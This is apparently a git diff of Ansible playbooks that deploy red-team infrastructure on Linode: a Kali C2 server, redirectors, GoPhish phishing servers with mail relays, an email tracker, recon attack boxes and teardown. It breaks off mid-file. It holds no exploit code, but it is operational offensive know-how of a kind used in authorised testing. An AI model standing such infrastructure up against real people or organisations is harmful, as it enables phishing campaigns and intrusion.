+ type: "{{ linode_instance_type }}" + region: "{{ linode_region }}" + image: "{{ attack_box_image }}" + root_pass: "{{ ansible_password | default(root_password) }}" + authorized_keys: + - "{{ public_key_content.content | b64decode | trim }}" + booted: true + backups_enabled: false + private_ip: false + tags: + - "attack-box" + - "c2itall" + - "{{ deployment_id }}" + status_code: [200, 201] + register: linode_instance + + - name: Get current timestamp + setup: + gather_subset: min + delegate_to: localhost + + - name: Ensure logs directory exists + file: + path: "{{ playbook_dir }}/logs" + state: directory + mode: '0755' + delegate_to: localhost + + - name: Save attack box credentials to local file + copy: + content: | + Attack Box: {{ attack_box_name }} + Deployment ID: {{ deployment_id }} + Instance IP: {{ linode_instance.json.ipv4[0] if linode_instance.json.ipv4 else 'Pending' }} + SSH Key: ~/.ssh/{{ ssh_key_name }} + Root Password: {{ ansible_password | default(root_password) }} + SSH Command: ssh -i ~/.ssh/{{ ssh_key_name }} root@{{ linode_instance.json.ipv4[0] if linode_instance.json.ipv4 else 'IP_ADDRESS' }} + + Generated at: {{ ansible_date_time.iso8601 }} + dest: "{{ playbook_dir }}/logs/deployment_info_{{ deployment_id }}.txt" + mode: '0600' + when: linode_instance is succeeded + delegate_to: localhost + + - name: Save instance information + set_fact: + attack_box_ip: "{{ linode_instance.json.ipv4[0] }}" + attack_box_id: "{{ linode_instance.json.id }}" + + - name: Display attack box information + debug: + msg: + - "Attack Box Created Successfully!" + - "Name: {{ attack_box_name }}" + - "IP Address: {{ attack_box_ip }}" + - "Instance ID: {{ attack_box_id }}" + - "Type: {{ attack_box_type }}" + - "SSH Key: ~/.ssh/{{ ssh_key_name }}" + + - name: Wait for instance to be fully booted + wait_for: + host: "{{ attack_box_ip }}" + port: 22 + delay: 30 + timeout: 300 + ignore_errors: yes + + - name: Test SSH connectivity + command: ssh -o ConnectTimeout=10 -o StrictHostKeyChecking=no -i ~/.ssh/{{ ssh_key_name }} root@{{ attack_box_ip }} echo "SSH connection successful" + register: ssh_test + retries: 5 + delay: 30 + until: ssh_test.rc == 0 + ignore_errors: yes + + - name: Create dynamic inventory for attack box configuration + add_host: + name: "{{ attack_box_ip }}" + groups: attack_boxes + ansible_host: "{{ attack_box_ip }}" + ansible_user: root + ansible_ssh_private_key_file: "~/.ssh/{{ ssh_key_name }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no" + attack_box_type: "{{ attack_box_type }}" + deployment_id: "{{ deployment_id }}" + + - name: Save deployment information + copy: + content: | + # Attack Box Deployment Information + DEPLOYMENT_ID={{ deployment_id }} + ATTACK_BOX_NAME={{ attack_box_name }} + ATTACK_BOX_IP={{ attack_box_ip }} + ATTACK_BOX_ID={{ attack_box_id }} + ATTACK_BOX_TYPE={{ attack_box_type }} + SSH_KEY_PATH=~/.ssh/{{ ssh_key_name }} + PROVIDER=linode + REGION={{ linode_region }} + INSTANCE_TYPE={{ linode_instance_type }} + DEPLOYED_DATE={{ ansible_date_time.iso8601 }} + dest: "{{ playbook_dir }}/logs/attack_box_{{ deployment_id }}.env" + +- name: Configure Attack Box + hosts: attack_boxes + gather_facts: yes + become: yes + vars: + setup_workspace: "{{ setup_workspace | default(true) }}" + setup_vpn: "{{ setup_vpn | default(false) }}" + setup_tor: "{{ setup_tor | default(false) }}" + + tasks: + - name: Wait for system to be ready + wait_for_connection: + delay: 30 + timeout: 300 + + - name: Update package cache only (avoid grub-pc issues) + apt: + update_cache: yes + cache_valid_time: 3600 + when: ansible_os_family == "Debian" + retries: 3 + delay: 10 + + - name: Include attack box configuration tasks + include_tasks: "{{ playbook_dir }}/../../modules/attack-box/tasks/configure_attack_box.yml" + when: deployment_type != "quick_recon_box" + + - name: Include quick recon configuration tasks + include_tasks: "{{ playbook_dir }}/../../modules/attack-box/tasks/configure_quick_recon.yml" + when: deployment_type == "quick_recon_box" + + - name: Display final setup information (Full Attack Box) + debug: + msg: + - "๐ŸŽฏ Attack Box Configuration Complete!" + - "๐Ÿ“ฆ Instance: {{ attack_box_name }}" + - "๐Ÿ”‘ SSH Command: ssh -i ~/.ssh/a-{{ deployment_id }} root@{{ ansible_host }}" + - "๐Ÿ”’ Root Password: {{ ansible_password | default('Check deployment_info_' + deployment_id + '.txt') }}" + - "๐Ÿ“ Credentials saved to: logs/deployment_info_{{ deployment_id }}.txt" + - "" + - "๐Ÿ› ๏ธ Available Commands:" + - " recon - Run reconnaissance automation" + - " portscan - Run port scan automation" + - " webenum - Run web enumeration automation" + when: deployment_type != "quick_recon_box" + + - name: Display final setup information (Quick Recon Box) + debug: + msg: + - "๐ŸŽฏ Quick Recon Box Configuration Complete!" + - "๐Ÿ“ฆ Instance: {{ attack_box_name }}" + - "๐Ÿ”‘ SSH Command: ssh -i ~/.ssh/qr-{{ deployment_id }} root@{{ ansible_host }}" + - "๐Ÿ”’ Root Password: {{ ansible_password | default('Check deployment_info_' + deployment_id + '.txt') }}" + - "๐Ÿ“ Credentials saved to: logs/deployment_info_{{ deployment_id }}.txt" + - "" + - "๐ŸŽฏ Quick Recon Commands:" + - " qr - Go to working directory" + - " toolkit - Show available tools" + - " portscan - Port scan" + - " subfind - Subdomain enumeration" + - " webscan - Web application scan" + - " tor-recon - Anonymous reconnaissance" + when: deployment_type == "quick_recon_box" diff --git a/providers/Linode/c2.yml b/providers/Linode/c2.yml new file mode 100755 index 0000000..5bafcc6 --- /dev/null +++ b/providers/Linode/c2.yml @@ -0,0 +1,205 @@ +--- +# Linode C2 Deployment Playbook + +- name: Deploy Linode C2 server + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + # Default values for required variables + linode_region: "{{ linode_region | default(region_choices | random) }}" + plan: "{{ plan | default('g6-standard-2') }}" + # Use static value to avoid recursive templating + c2_image_static: "linode/kali" + + # Generate random instance name if not provided + c2_name: "{{ c2_name | default('node-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}" + + tasks: + - name: Validate required Linode token + assert: + that: + - linode_token is defined and linode_token != "" + fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token." + + # Replace these tasks at the beginning of the playbook + - name: Set region for C2 server + set_fact: + c2_region_value: "{{ selected_region | default(linode_region, true) | default('us-east', true) }}" + + - name: Display region selection information for debugging + debug: + msg: + - "Selected Region: {{ selected_region | default('Not set') }}" + - "Linode Region: {{ linode_region | default('Not set') }}" + - "Using Region: {{ c2_region_value }}" + when: debug | default(false) | bool + + - name: Set random region only if absolutely no region specified + set_fact: + c2_region_value: "{{ region_choices | random }}" + when: region_choices is defined and region_choices|length > 0 and not selected_region is defined and not linode_region is defined and not c2_region_value is defined + + - name: Create C2 Linode instance + block: + - name: Try creating instance in specified region + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ c2_name }}" + type: "{{ plan }}" + region: "{{ c2_region_value }}" + image: "linode/kali" + root_pass: "{{ lookup('password', '/dev/null length=16') }}" + authorized_keys: + - "{{ lookup('file', ssh_key_path) }}" + state: present + register: c2_instance + rescue: + - name: Log region restriction error + debug: + msg: "Region {{ c2_region_value }} is restricted. Trying fallback regions..." + + - name: Set fallback regions (most reliable ones first) + set_fact: + fallback_regions: + - "us-east" + - "us-central" + - "eu-west" + - "us-west" + + - name: Try fallback regions + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ c2_name }}" + type: "{{ plan }}" + region: "{{ item }}" + image: "linode/kali" + root_pass: "{{ lookup('password', '/dev/null length=16') }}" + authorized_keys: + - "{{ lookup('file', ssh_key_path) }}" + state: present + register: c2_instance + loop: "{{ fallback_regions }}" + when: c2_instance is not defined or c2_instance.failed + ignore_errors: yes + + - name: Update deployment region with successful fallback + set_fact: + c2_region_value: "{{ item }}" + loop: "{{ fallback_regions }}" + when: c2_instance.results is defined and c2_instance.results[ansible_loop.index0] is defined and not c2_instance.results[ansible_loop.index0].failed + + - name: Fail if all regions are restricted + fail: + msg: "All attempted regions are restricted. Please try again later or contact Linode support." + when: c2_instance.failed | default(true) + + - name: Set c2_ip for later use + block: + - name: Extract instance info from direct creation + set_fact: + c2_ip: "{{ c2_instance.instance.ipv4[0] }}" + c2_instance_id: "{{ c2_instance.instance.id }}" + when: c2_instance.instance is defined + + - name: Extract instance info from fallback creation + set_fact: + c2_ip: "{{ item.instance.ipv4[0] }}" + c2_instance_id: "{{ item.instance.id }}" + loop: "{{ c2_instance.results | default([]) }}" + when: c2_instance.results is defined and item.instance is defined and not item.failed + + - name: Display final C2 deployment region and IP + debug: + msg: "C2 server deployed successfully in region {{ c2_region_value }} with IP {{ c2_ip }}" + + # Enhanced SSH wait task for Linode/c2.yml + - name: Wait for C2 SSH to be available + block: + - name: Initial wait for port to be open + wait_for: + host: "{{ c2_instance.instance.ipv4[0] }}" + port: 22 + delay: 60 + timeout: 180 + state: started + + - name: Additional pause for SSH initialization + pause: + seconds: 60 + + - name: Test SSH connection + command: > + ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 + -i {{ ssh_key_path | replace('.pub', '') }} root@{{ c2_instance.instance.ipv4[0] }} echo "SSH Ready" + register: ssh_test + retries: 5 + delay: 20 + until: ssh_test.rc == 0 + ignore_errors: yes + + - name: Fail if SSH test unsuccessful + fail: + msg: "Could not connect to C2 server via SSH after multiple attempts" + when: ssh_test.rc != 0 + + - name: Add C2 to inventory + add_host: + name: "c2" + groups: "c2servers" + ansible_host: "{{ c2_ip }}" + ansible_user: "root" + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" + ansible_python_interpreter: "/usr/bin/python3" # Use remote system's Python + +- name: Configure C2 server + hosts: c2servers + become: true + gather_facts: true + vars_files: + - vars.yaml + vars: + redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}" + c2_subdomain: "{{ c2_subdomain | default('mail') }}" + tasks: + - name: Wait for apt to be available + apt: + update_cache: yes + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 + + - name: Disable root password authentication for SSH immediately + lineinfile: + path: /etc/ssh/sshd_config + regexp: '^#?PasswordAuthentication' + line: 'PasswordAuthentication no' + state: present + + - name: Restart SSH service to apply changes + service: + name: ssh + state: restarted + + - name: Include common tool installation tasks + include_tasks: "../../common/tasks/install_tools.yml" + + - name: Include common C2 configuration tasks + include_tasks: "../../modules/c2/tasks/configure_c2.yml" + + - name: Include common mail server configuration tasks + include_tasks: "../../common/tasks/configure_mail.yml" + + - name: Print deployment summary + debug: + msg: + - "C2 Server Deployment Complete!" + - "-----------------------------" + - "C2 Server IP: {{ ansible_host }}" + - "C2 Server Domain: {{ domain }}" + - "GoPhish Admin Port: {{ gophish_admin_port }}" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/providers/Linode/cleanup.yml b/providers/Linode/cleanup.yml new file mode 100755 index 0000000..ef536de --- /dev/null +++ b/providers/Linode/cleanup.yml @@ -0,0 +1,117 @@ +--- +# Linode/cleanup.yml +- name: Clean up Linode infrastructure + hosts: localhost + connection: local + gather_facts: false + vars_files: + - vars.yaml + vars: + cleanup_redirector: "{{ (redirector_name is defined and redirector_name != '') | ternary(true, false) }}" + cleanup_c2: "{{ (c2_name is defined and c2_name != '') | ternary(true, false) }}" + cleanup_tracker: "{{ (tracker_name is defined and tracker_name != '') | ternary(true, false) }}" + cleanup_attack_box: "{{ (attack_box_name is defined and attack_box_name != '') | ternary(true, false) }}" + confirm_cleanup: false # Skip confirmation in automated teardown + + tasks: + - name: Validate required Linode token + assert: + that: + - linode_token is defined and linode_token != "" + fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token." + + - name: Cleanup resources notice + debug: + msg: | + =============================================== + CLEANUP OPERATION + =============================================== + The following resources will be DELETED PERMANENTLY: + {% if cleanup_redirector and redirector_name is defined %} + - Redirector instance: {{ redirector_name }} + {% endif %} + {% if cleanup_c2 and c2_name is defined %} + - C2 instance: {{ c2_name }} + {% endif %} + {% if cleanup_tracker and tracker_name is defined %} + - Tracker instance: {{ tracker_name }} + {% endif %} + {% if cleanup_attack_box and attack_box_name is defined %} + - Attack Box instance: {{ attack_box_name }} + {% endif %} + when: confirm_cleanup | bool + + - name: Confirm cleanup operation + pause: + prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<" + register: confirmation + when: confirm_cleanup | bool + + - name: Skip cleanup if not confirmed + meta: end_play + when: confirm_cleanup | bool and (confirmation.user_input | default('')) != 'yes' + + - name: Delete redirector instance + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ redirector_name }}" + state: absent + when: cleanup_redirector and redirector_name is defined and redirector_name != "" + register: redirector_deletion + ignore_errors: yes + + - name: Delete C2 instance + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ c2_name }}" + state: absent + when: cleanup_c2 and c2_name is defined and c2_name != "" + register: c2_deletion + ignore_errors: yes + + - name: Delete tracker instance + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ tracker_name }}" + state: absent + when: cleanup_tracker and tracker_name is defined and tracker_name != "" + register: tracker_deletion + ignore_errors: yes + + - name: Delete attack box instance + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ attack_box_name }}" + state: absent + when: cleanup_attack_box and attack_box_name is defined and attack_box_name != "" + register: attack_box_deletion + ignore_errors: yes + + - name: Clean up deployment state file + file: + path: "{{ playbook_dir }}/../deployment_state_{{ deployment_id }}.json" + state: absent + ignore_errors: yes + register: state_file_deletion + + - name: Report state file cleanup + debug: + msg: "Deployment state file {{ 'deleted' if state_file_deletion.changed else 'not found' }}" + when: state_file_deletion is defined + + - name: Report cleanup status + debug: + msg: | + Cleanup results: + {% if redirector_deletion is defined and redirector_name is defined %} + - Redirector {{ redirector_name }}: {{ redirector_deletion.changed | ternary('Deleted', 'Not found/Could not delete') }} + {% endif %} + {% if c2_deletion is defined and c2_name is defined %} + - C2 {{ c2_name }}: {{ c2_deletion.changed | ternary('Deleted', 'Not found/Could not delete') }} + {% endif %} + {% if tracker_deletion is defined and tracker_name is defined %} + - Tracker {{ tracker_name }}: {{ tracker_deletion.changed | ternary('Deleted', 'Not found/Could not delete') }} + {% endif %} + {% if attack_box_deletion is defined and attack_box_name is defined %} + - Attack Box {{ attack_box_name }}: {{ attack_box_deletion.changed | ternary('Deleted', 'Not found/Could not delete') }} + {% endif %} \ No newline at end of file diff --git a/providers/Linode/linode_phishing.yml b/providers/Linode/linode_phishing.yml new file mode 100644 index 0000000..0cbdc24 --- /dev/null +++ b/providers/Linode/linode_phishing.yml @@ -0,0 +1,120 @@ +--- +# Linode-specific phishing infrastructure tasks + +- name: Create Linode instances for phishing + uri: + url: "https://api.linode.com/v4/linode/instances" + method: POST + headers: + Authorization: "Bearer {{ linode_api_token }}" + Content-Type: "application/json" + body_format: json + body: + type: "{{ linode_instance_type | default('g6-nanode-1') }}" + region: "{{ linode_region | default('us-east') }}" + image: "{{ linode_image | default('linode/ubuntu22.04') }}" + label: "{{ deployment_id }}-{{ item }}" + root_pass: "{{ instance_password }}" + authorized_keys: + - "{{ ssh_public_key }}" + tags: + - "c2itall" + - "phishing" + - "{{ deployment_id }}" + status_code: 200 + register: linode_instances + loop: "{{ deployment_components }}" + when: item in deployment_components + +- name: Wait for instances to be running + uri: + url: "https://api.linode.com/v4/linode/instances/{{ item.json.id }}" + method: GET + headers: + Authorization: "Bearer {{ linode_api_token }}" + register: instance_status + until: instance_status.json.status == "running" + retries: 30 + delay: 10 + loop: "{{ linode_instances.results }}" + when: linode_instances.results is defined + +- name: Get instance details + uri: + url: "https://api.linode.com/v4/linode/instances/{{ item.json.id }}" + method: GET + headers: + Authorization: "Bearer {{ linode_api_token }}" + register: instance_details + loop: "{{ linode_instances.results }}" + when: linode_instances.results is defined + +- name: Set instance facts + set_fact: + phishing_instances: >- + {% set instances = [] %} + {% for result in instance_details.results %} + {% set instance = { + 'id': result.json.id, + 'label': result.json.label, + 'ipv4': result.json.ipv4[0], + 'region': result.json.region, + 'type': result.json.type, + 'status': result.json.status + } %} + {% set _ = instances.append(instance) %} + {% endfor %} + {{ instances }} + when: instance_details.results is defined + +- name: Wait for SSH connectivity + wait_for: + host: "{{ item.ipv4 }}" + port: 22 + delay: 30 + timeout: 300 + loop: "{{ phishing_instances }}" + when: phishing_instances is defined + +- name: Update instance inventory + add_host: + name: "{{ item.ipv4 }}" + groups: "phishing_{{ item.label.split('-')[-1] }}" + ansible_host: "{{ item.ipv4 }}" + ansible_user: root + ansible_ssh_private_key_file: "{{ ssh_private_key_path }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" + instance_id: "{{ item.id }}" + instance_label: "{{ item.label }}" + provider: "linode" + loop: "{{ phishing_instances }}" + when: phishing_instances is defined + +- name: Configure Gophish servers + include_tasks: ../common/configure_gophish.yml + when: "'gophish' in deployment_components" + +- name: Configure MTA fronts + include_tasks: ../common/configure_mta.yml + when: "'mta_front' in deployment_components" + +- name: Configure redirectors + include_tasks: ../common/configure_redirector.yml + when: "'redirector' in deployment_components" + +- name: Configure web servers + include_tasks: ../common/configure_webserver.yml + when: "'webserver' in deployment_components" + +- name: Display deployment summary + debug: + msg: | + ๐ŸŽฏ Linode Phishing Infrastructure Deployed + {{ phishing_instances | length }} instances created + Provider: Linode + Deployment ID: {{ deployment_id }} + Instances: + {% for instance in phishing_instances %} + - {{ instance.label }}: {{ instance.ipv4 }} ({{ instance.type }}) + {% endfor %} + when: phishing_instances is defined diff --git a/providers/Linode/phishing.yml b/providers/Linode/phishing.yml new file mode 100644 index 0000000..3db2992 --- /dev/null +++ b/providers/Linode/phishing.yml @@ -0,0 +1,65 @@ +--- +# Phishing infrastructure deployment playbook +# This is a comprehensive playbook that handles all phishing components + +- name: Deploy Phishing Infrastructure + hosts: localhost + gather_facts: true + connection: local + vars_files: + - vars.yaml + + tasks: + - name: Display deployment information + debug: + msg: | + Deploying phishing infrastructure + Deployment ID: {{ deployment_id }} + Provider: {{ provider }} + Domain: {{ domain | default(phishing_domain) }} + Components: {{ deployment_type }} + + - name: Set deployment facts + set_fact: + deployment_timestamp: "{{ ansible_date_time.epoch }}" + phishing_deployment_results: {} + deployment_components: >- + {% set components = [] %} + {% if deployment_type in ['gophish_only', 'basic_phishing', 'advanced_phishing', 'full_phishing', 'fedramp_phishing'] %} + {% set _ = components.append('gophish') %} + {% endif %} + {% if deployment_type in ['mta_front_only', 'basic_phishing', 'advanced_phishing', 'full_phishing', 'ephemeral_mta'] %} + {% set _ = components.append('mta_front') %} + {% endif %} + {% if deployment_type in ['phishing_redirector_only', 'advanced_phishing', 'full_phishing'] %} + {% set _ = components.append('redirector') %} + {% endif %} + {% if deployment_type in ['phishing_webserver_only', 'full_phishing', 'fedramp_phishing'] %} + {% set _ = components.append('webserver') %} + {% endif %} + {{ components }} + + - name: Include provider-specific tasks + include_tasks: "{{ provider }}_phishing.yml" + when: deployment_components | length > 0 + + - name: Ensure logs directory exists + file: + path: "../../logs" + state: directory + mode: '0755' + delegate_to: localhost + + - name: Save deployment information + template: + src: phishing_deployment_info.j2 + dest: "{{ playbook_dir }}/logs/phishing_deployment_{{ deployment_id }}.json" + delegate_to: localhost + + - name: Display success message + debug: + msg: | + โœ… Phishing infrastructure deployment completed + Deployment ID: {{ deployment_id }} + Components deployed: {{ deployment_components | join(', ') }} + Check logs/phishing_deployment_{{ deployment_id }}.json for details diff --git a/providers/Linode/redirector.yml b/providers/Linode/redirector.yml new file mode 100755 index 0000000..fbe9b2d --- /dev/null +++ b/providers/Linode/redirector.yml @@ -0,0 +1,190 @@ +--- +# Linode Redirector-only Deployment Playbook + +- name: Deploy Linode redirector + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + # Use constant values directly to avoid recursive template resolution + redirector_image_static: "linode/debian12" + + tasks: + - name: Validate required Linode token + assert: + that: + - linode_token is defined and linode_token != "" + fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token." + + # Update the region selection logic in Linode/redirector.yml + - name: Set region for redirector + set_fact: + deployment_region: "{{ selected_region | default(linode_region, true) | default('us-east', true) }}" + + - name: Display region selection for redirector + debug: + msg: "Using region for redirector: {{ deployment_region }}" + when: debug | default(false) | bool + + # Only use random region as a last resort + - name: Set random region only if no region specified + set_fact: + deployment_region: "{{ region_choices | random }}" + when: region_choices is defined and region_choices|length > 0 and not selected_region is defined and not linode_region is defined and not deployment_region is defined + + - name: Create redirector Linode instance + block: + - name: Try creating instance in specified region + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ redirector_name }}" + type: "{{ redirector_plan | default('g6-nanode-1') }}" + region: "{{ deployment_region }}" + image: "linode/debian12" + root_pass: "{{ lookup('password', '/dev/null length=16') }}" + authorized_keys: + - "{{ lookup('file', ssh_key_path) }}" + state: present + register: redirector_instance + rescue: + - name: Log region restriction error + debug: + msg: "Region {{ deployment_region }} is restricted. Trying fallback regions..." + + - name: Set fallback regions (most reliable ones first) + set_fact: + fallback_regions: + - "us-east" + - "us-central" + - "eu-west" + - "us-west" + + - name: Try fallback regions + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ redirector_name }}" + type: "{{ redirector_plan | default('g6-nanode-1') }}" + region: "{{ item }}" + image: "linode/debian12" + root_pass: "{{ lookup('password', '/dev/null length=16') }}" + authorized_keys: + - "{{ lookup('file', ssh_key_path) }}" + state: present + register: redirector_instance + loop: "{{ fallback_regions }}" + when: redirector_instance is not defined or redirector_instance.failed + ignore_errors: yes + + - name: Update deployment region with successful fallback + set_fact: + deployment_region: "{{ item }}" + loop: "{{ fallback_regions }}" + when: redirector_instance.results is defined and redirector_instance.results[ansible_loop.index0] is defined and not redirector_instance.results[ansible_loop.index0].failed + + - name: Fail if all regions are restricted + fail: + msg: "All attempted regions are restricted. Please try again later or contact Linode support." + when: redirector_instance.failed | default(true) + + - name: Set redirector_ip for later use + block: + - name: Extract instance info from direct creation + set_fact: + redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}" + redirector_instance_id: "{{ redirector_instance.instance.id }}" + when: redirector_instance.instance is defined + + - name: Extract instance info from fallback creation + set_fact: + redirector_ip: "{{ item.instance.ipv4[0] }}" + redirector_instance_id: "{{ item.instance.id }}" + loop: "{{ redirector_instance.results | default([]) }}" + when: redirector_instance.results is defined and item.instance is defined and not item.failed + + - name: Display final deployment region and IP + debug: + msg: "Redirector deployed successfully in region {{ deployment_region }} with IP {{ redirector_ip }}" + + # Enhanced SSH wait task with better retry mechanism + - name: Wait for redirector SSH to be available + block: + - name: Initial wait for port to be open + wait_for: + host: "{{ redirector_instance.instance.ipv4[0] }}" + port: 22 + delay: 60 + timeout: 180 + state: started + + - name: Additional pause for SSH initialization + pause: + seconds: 60 + + - name: Test SSH connection + command: > + ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 + -i {{ ssh_key_path | replace('.pub', '') }} root@{{ redirector_instance.instance.ipv4[0] }} echo "SSH Ready" + register: ssh_test + retries: 5 + delay: 20 + until: ssh_test.rc == 0 + ignore_errors: yes + + - name: Fail if SSH test unsuccessful + fail: + msg: "Could not connect to redirector via SSH after multiple attempts" + when: ssh_test.rc != 0 + + - name: Add redirector to inventory + add_host: + name: "redirector" + groups: "redirectors" + ansible_host: "{{ redirector_ip }}" + ansible_user: "root" + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" + +- name: Configure redirector server + hosts: redirectors + become: true + gather_facts: true + vars_files: + - vars.yaml + vars: + c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}" + redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" + ansible_python_interpreter: auto # Explicitly add this line + tasks: + - name: Wait for apt to be available + apt: + update_cache: yes + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 + + - name: Disable root password authentication for SSH immediately + lineinfile: + path: /etc/ssh/sshd_config + regexp: '^#?PasswordAuthentication' + line: 'PasswordAuthentication no' + state: present + + - name: Restart SSH service to apply changes + service: + name: ssh + state: restarted + + - name: Include common redirector configuration tasks + include_tasks: "../../modules/redirectors/tasks/configure_redirector.yml" + + - name: Print deployment summary + debug: + msg: + - "Redirector Deployment Complete!" + - "-------------------------------" + - "Redirector IP: {{ ansible_host }}" + - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/providers/Linode/templates/phishing_deployment_info.j2 b/providers/Linode/templates/phishing_deployment_info.j2 new file mode 100644 index 0000000..175d4f4 --- /dev/null +++ b/providers/Linode/templates/phishing_deployment_info.j2 @@ -0,0 +1,10 @@ +{ + "deployment_id": "{{ deployment_id }}", + "deployment_type": "{{ deployment_type }}", + "provider": "{{ provider }}", + "domain": "{{ phishing_domain | default(domain) }}", + "timestamp": "{{ ansible_date_time.iso8601 }}", + "components": {{ deployment_components | to_json }}, + "results": {{ phishing_deployment_results | default({}) | to_json }}, + "status": "completed" +} diff --git a/providers/Linode/tracker.yml b/providers/Linode/tracker.yml new file mode 100755 index 0000000..b2324ca --- /dev/null +++ b/providers/Linode/tracker.yml @@ -0,0 +1,152 @@ +--- +# Linode Tracker Deployment Playbook + +- name: Deploy Linode email tracking server + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + # Default values - using minimalist settings + linode_region: "{{ linode_region | default(region_choices | random) }}" + plan: "{{ plan | default('g6-nanode-1') }}" # Use smallest plan for tracker + tracker_image: "{{ image | default('linode/debian12') }}" # Use Debian instead of Kali + + # Generate random instance name if not provided + tracker_name: "{{ tracker_name | default('t-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}" + + tasks: + - name: Validate required Linode token + assert: + that: + - linode_token is defined and linode_token != "" + fail_msg: "Linode API token is required. Set linode_token in vars.yaml." + + - name: Set region for tracker + set_fact: + tracker_region_value: "{{ selected_region | default(region, true) | default(linode_region, true) | default('us-east', true) }}" + when: region_choices is not defined or region_choices|length == 0 + + - name: Set random region for tracker + set_fact: + tracker_region_value: "{{ region_choices | random }}" + when: region_choices is defined and region_choices|length > 0 and tracker_region_value is not defined + + - name: Create tracker Linode instance + community.general.linode_v4: + access_token: "{{ linode_token }}" + label: "{{ tracker_name }}" + type: "{{ plan }}" + region: "{{ tracker_region_value }}" + image: "{{ image | default('linode/debian12') }}" + root_pass: "{{ lookup('password', '/dev/null length=16') }}" + authorized_keys: + - "{{ lookup('file', ssh_key_path) }}" + state: present + register: tracker_instance + + - name: Set tracker_ip for later use + set_fact: + tracker_ip: "{{ tracker_instance.instance.ipv4[0] }}" + tracker_instance_id: "{{ tracker_instance.instance.id }}" + + - name: Wait for tracker SSH to be available + wait_for: + host: "{{ tracker_ip }}" + port: 22 + delay: 60 + timeout: 300 + state: started + + - name: Add tracker to inventory + add_host: + name: "tracker" + groups: "trackers" + ansible_host: "{{ tracker_ip }}" + ansible_user: "root" + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" + +- name: Configure tracker server + hosts: trackers + become: true + gather_facts: true + vars_files: + - vars.yaml + vars: + tracker_domain: "{{ tracker_domain | default('track.' + domain) }}" + tasks: + - name: Update and install minimal required packages + apt: + name: + - nginx + - certbot + - python3-certbot-nginx + - git + - python3-pip + - python3-venv + update_cache: yes + state: present + + - name: Clone email tracker repository + git: + repo: https://github.com/Datalux/Osint-Tracker.git + dest: /root/Tools/tracker + version: master + ignore_errors: yes + + - name: Install tracker dependencies + pip: + requirements: /root/Tools/tracker/requirements.txt + virtualenv: /root/Tools/tracker/venv + virtualenv_command: python3 -m venv + ignore_errors: yes + + - name: Configure tracker settings + template: + src: "../../modules/tracker/templates/tracker-config.j2" + dest: /root/Tools/tracker/config.py + mode: '0644' + ignore_errors: yes + + - name: Set up SSL if requested + block: + - name: Install Let's Encrypt certificate + shell: | + certbot --nginx -d {{ tracker_domain }} --non-interactive --agree-tos -m {{ tracker_email }} + args: + creates: /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem + when: tracker_setup_ssl | default(true) | bool + ignore_errors: yes + + - name: Create systemd service for tracker + template: + src: "../../modules/tracker/templates/tracker.service.j2" + dest: /etc/systemd/system/tracker.service + mode: '0644' + ignore_errors: yes + + - name: Update tracker service to use virtualenv + blockinfile: + path: /etc/systemd/system/tracker.service + insertafter: "^\\[Service\\]" + block: | + Environment="PATH=/root/Tools/tracker/venv/bin:$PATH" + ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/app.py + + - name: Start and enable tracker service + systemd: + name: tracker + state: started + enabled: yes + daemon_reload: yes + ignore_errors: yes + + - name: Print deployment summary + debug: + msg: + - "Email Tracker Deployment Complete!" + - "------------------------------" + - "Tracker IP: {{ ansible_host }}" + - "Tracker Domain: {{ tracker_domain }} (Update DNS A record)" \ No newline at end of file diff --git a/providers/Linode/webrunner_provision_tasks.yml b/providers/Linode/webrunner_provision_tasks.yml new file mode 100644 index 0000000..c28ebf0 --- /dev/null +++ b/providers/Linode/webrunner_provision_tasks.yml @@ -0,0 +1,90 @@ +--- +# Linode provision tasks for one WEBRUNNER node +# Called in a loop โ€” loop_var: node_chunk +# Requires: linode_token, ssh_key_name, webrunner_name, deployment_id, +# linode_instance_type, linode_region, scanner_ip_log, results_dir + +- name: Generate root password for {{ node_chunk.node_name }} + set_fact: + wr_root_pass: "{{ lookup('password', '/dev/null chars=ascii_letters,digits length=32') }}" + +- name: Read public key + slurp: + 